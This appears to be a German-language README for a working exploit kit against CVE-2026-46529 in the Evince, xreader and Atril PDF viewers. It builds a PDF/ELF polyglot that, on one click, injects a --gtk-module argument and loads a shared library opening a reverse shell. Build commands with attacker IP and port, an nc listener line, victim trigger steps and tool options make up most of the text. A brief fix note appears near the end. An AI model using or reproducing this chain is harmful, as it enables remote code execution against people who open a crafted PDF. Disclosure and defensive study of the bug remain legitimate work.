
Evince/xreader/Atril RCE exploit to CVE-2026-46529
Funktionierender Proof-of-Concept für die argv-Injection in ev_spawn() (shell/ev-application.c). Ein einzelner Klick irgendwo auf der gerenderten Seite eines manipulierten PDFs löst eine beliebige Codeausführung als der Benutzer aus, der den Betrachter ausführt.
Diese Version verwendet die %f-Substitutionstechnik: Der dlopen-Zielpfad wird vom Betrachter zur Laufzeit selbst ermittelt, sodass der Angreifer keinerlei Kenntnis darüber benötigt, wo sich der Polyglott auf dem Dateisystem des Opfers befindet (kein Benutzername, kein $HOME, kein Downloadverzeichnis).
https://github.com/user-attachments/assets/c12aaa77-4dd8-4dbc-b039-a510e9fbfced
| Datei | Zweck |
|---|---|
exploit.sh | Einmal-Wrapper: Kompilieren + Polyglott-Erstellung in einem einzigen Befehl. |
evil_gtk_module.c | Quelle der Nutzlast. Konstruktor öffnet eine Reverse-Shell und hinterlässt eine Markierung bei /tmp/PWNED_atril_<pid>.txt. |
build_polyglot.py | Polyglott-Ersteller. Kombiniert eine kompilierte evil.so mit einem minimalen PDF-Körper, der die /GoToR-Aktion und das %f-Schmuggel enthält. |
Sie müssen auf einem Linux-Rechner bauen, der der Architektur des Opfers entspricht. evil_gtk_module.c ist architekturübergreifend portierbar; das resultierende ELF ist architekturspezifisch. macOS kann das .so nicht erzeugen, weil Apples Linker keine GNU-build-id-Flags akzeptiert.
ev_spawn() erstellt die Befehlszeile zum Starten durch Interpolation der Zeichenfolgen /D (benanntes Ziel) und /F (Dateispezifikation) des PDFs ohne g_shell_quote. Das Ergebnis wird von g_app_info_create_from_commandline → g_shell_parse_argv wieder in argv geparst. Durch das Gestalten von /D mit einem führenden Leerzeichen und --gtk-module=... erhält der gestartete Kind-Betrachter --gtk-module= als eigenständiges argv-Element, das gtk_init() über g_module_open() (d.h. dlopen) berücksichtigt. Jeder Konstruktor im geladenen ELF wird als das Opfer ausgeführt.
Der Polyglott ist eine einzelne Datei, die gleichzeitig ein gültiges PDF und eine gültige ELF-Shared Library ist — die %PDF-1.4-Markierung ist in den .note.gnu.build-id SHA1-Slot (Offset 0x1d8) gestempelt, was poppler akzeptiert, da es die ersten 1024 Bytes nach der Magie durchsucht, und ld.so akzeptiert, da die build-id-Inhalte informativ sind.
Der %f-Trick (diese Version) schließt das letzte Stück. Anstatt den Pfad des Polyglotts fest im PDF zu kodieren, betten wir glibs %f-Platzhalter ein. glibs g_app_info_launch_uris ersetzt %f durch die lokale Pfadform des URI, den atril zur Laufzeit über g_path_get_dirname(source_uri) + /F.basename aufgelöst hat. Das argv des gestarteten Kindes enthält schließlich --gtk-module=<actual-runtime-path>, dlopen gelingt, RCE.
/F wird auf <basename>?1 anstatt nur <basename> gesetzt, weil ev_application_open_uri_at_dest() kurzschließt und nur navigiert (anstatt zu starten), wenn der aufgelöste /F-URI gleich dem Quell-URI ist. Der nachgestellte Query-String macht den URI unterscheidbar; glibs g_filename_from_uri entfernt ihn beim Erstellen von %f.
./exploit.sh -o report.pdf --ip 192.168.1.5 --port 4444
Ausgabe: report.pdf mit dem eingebauten Reverse-Shell-Ziel. Auf dem Opfer mit demselben Basisnamen bereitstellen (beliebiges Verzeichnis), einen Listener starten, das Opfer die Datei in atril öffnen lassen und irgendwo auf die Seite klicken.
# Attacker:
nc -lvnp 4444
# Victim:
atril /any/where/report.pdf
# click anywhere on the rendered page → shell back
Der in /F eingebettete Basisname leitet sich vom Ausgabedateinamen ab, daher erwartet der Polyglott, als report.pdf bereitgestellt zu werden. Das Verzeichnis spielt keine Rolle – atril löst zur Laufzeit den vollständigen Pfad über die %f-Substitution auf. Die Link-Annotation deckt die gesamte MediaBox ab, sodass jeder Klick die Aktion auslöst. Eine Markierungsdatei wird ebenfalls nach /tmp/PWNED_atril_<pid>.txt geschrieben.
exploit.shCross-Kompilierungsbeispiel (Erstelle aarch64-Polyglott auf x86_64-Host):
CC=aarch64-linux-gnu-gcc ./exploit.sh -o x.pdf --ip 10.0.0.5 --port 4444
exploit.sh)Wenn Sie die volle Kontrolle über jeden Schritt haben möchten:
Kompilieren Sie evil.so mit Ihrer IP/Port.
gcc -shared -fPIC -Wl,--build-id=sha1 \
-DATTACKER_IP='"192.168.1.5"' \
-DATTACKER_PORT='"4444"' \
-o evil.so evil_gtk_module.c
Erstellen Sie den Polyglott.
python3 build_polyglot.py evil.so <output.pdf>
Der in /F eingebettete Basisname leitet sich vom Ausgabedateinamen ab. Stellen Sie den Polyglott auf dem Opfer mit demselben Basisnamen bereit – das Verzeichnis spielt keine Rolle, atril löst ihn zur Laufzeit auf.
Bestätigt:
Der anfällige Code (ev_spawn und der /GoToR-Öffnungspfad) wird von allen drei geteilt. evince upstream hat denselben Fehler; der einzige Unterschied in neueren evince-Builds ist, dass GTK4 das Befehlszeilen-Flag --gtk-module= entfernt hat, wodurch diese spezielle dlopen-Senke geschlossen wird. evince-Builds gegen GTK3 (die meisten LTS-Distributionen zum Zeitpunkt der Erstellung) bleiben anfällig.
Der Fehler existiert seit den frühen 2010er Jahren, als die ev_spawn-Befehlszeilenkonstruktion geschrieben wurde. Die Behebung ist einfach: Jede vom Angreifer kontrollierte Komponente vor g_string_append_printf in g_shell_quote einwickeln oder stattdessen argv als Liste an g_spawn_async übergeben (wodurch der Shell-Parse-Roundtrip vollständig vermieden wird).
Dateinamenerhaltung. Der in /F eingebettete Basisname muss mit dem Dateinamen übereinstimmen, den der Polyglott auf der Festplatte des Opfers zum Zeitpunkt der Auslösung hat. Wenn das Opfer die Datei vor dem Öffnen umbenennt, löst atril /F zu einem nicht existierenden Pfad auf und dlopen schlägt fehl.
GTK4. Neuere evince-Builds gegen GTK4 haben das Befehlszeilen-Flag --gtk-module= entfernt, wodurch diese spezielle dlopen-Senke geschlossen wird. Die argv-Injection selbst ist immer noch vorhanden – nur dieser spezielle Ausbeutungspfad wird durch GTK4 abgemildert.
| Option | Beschreibung |
|---|
-o, --output FILE | Pfad zur Ausgabe-PDF (Standard: polyglot.pdf) |
--ip IP | Ziel-IP der Reverse-Shell (Standard: 127.0.0.1) |
--port PORT | Ziel-Port der Reverse-Shell (Standard: 9000) |
--cc COMPILER | C-Compiler (Standard: gcc, Umgebungsvariable: CC) |
--keep-so | Lösche evil.so nach dem Erstellen nicht |
-h, --help | Zeige Verwendung |